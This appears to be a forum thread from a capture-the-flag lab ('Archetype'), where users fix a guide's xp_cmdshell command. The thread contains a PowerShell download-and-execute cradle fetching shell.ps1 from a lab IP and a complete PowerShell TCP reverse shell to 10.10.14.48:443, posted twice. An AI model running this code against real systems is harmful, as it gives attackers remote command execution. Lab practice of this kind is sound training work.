Archetype Syntax Error (Copy Pasted from Guide)

I’ve gotten on ok with Archetype on my own but needed the guide for the xp_cmdshell bit, frustratingly this is giving me a syntax error. The command in the guide is:

xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString("http://10.10.14.3/shell.ps1\“);”

What I notice straight away is that there are five double quotation marks (I’ve never seen them in anything but pairs?)

I updated the command for my tunnel IP:

xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString("http://10.10.14.48/shell.ps1\“);”

Execute the command and get a huge number of errors back, with the first few being:

EX : At line:3 char:78

  • … Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
  •                                                                     ~       
    

Missing closing ‘)’ in expression.
At line:4 char:1

  • System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $ …

Unexpected token ‘System.Text.ASCIIEncoding’ in expression or statement.
At line:3 char:47

  • $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object - …
  •                                           ~                                  
    

Missing closing ‘}’ in statement block or type definition.
At line:4 char:26

  • System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $ …
  •                      ~                                                       
    

Unexpected token ‘)’ in expression or statement.

Any ideas?

Found the issue, for anyone having the same problem, if you copy/paste the powershell command directly, it has errors, you need to reformat before saving:

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.48”,443);
$stream = $client.GetStream();
[byte]$bytes = 0…65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

@poe said:

Found the issue, for anyone having the same problem, if you copy/paste the powershell command directly, it has errors, you need to reformat before saving:

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.48”,443);
$stream = $client.GetStream();
[byte]$bytes = 0…65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

+1

Thanks for this. I have been stuck in this step for a while and this fixed the problem.

If a syntax error appears, check to make sure that the parentheses are matched up correctly. If one end is missing or lined up incorrectly, then type in the correction and check to make sure that the code can be compiled. Keeping the code as organized as possible also helps.

Regards,
Rachel Gomez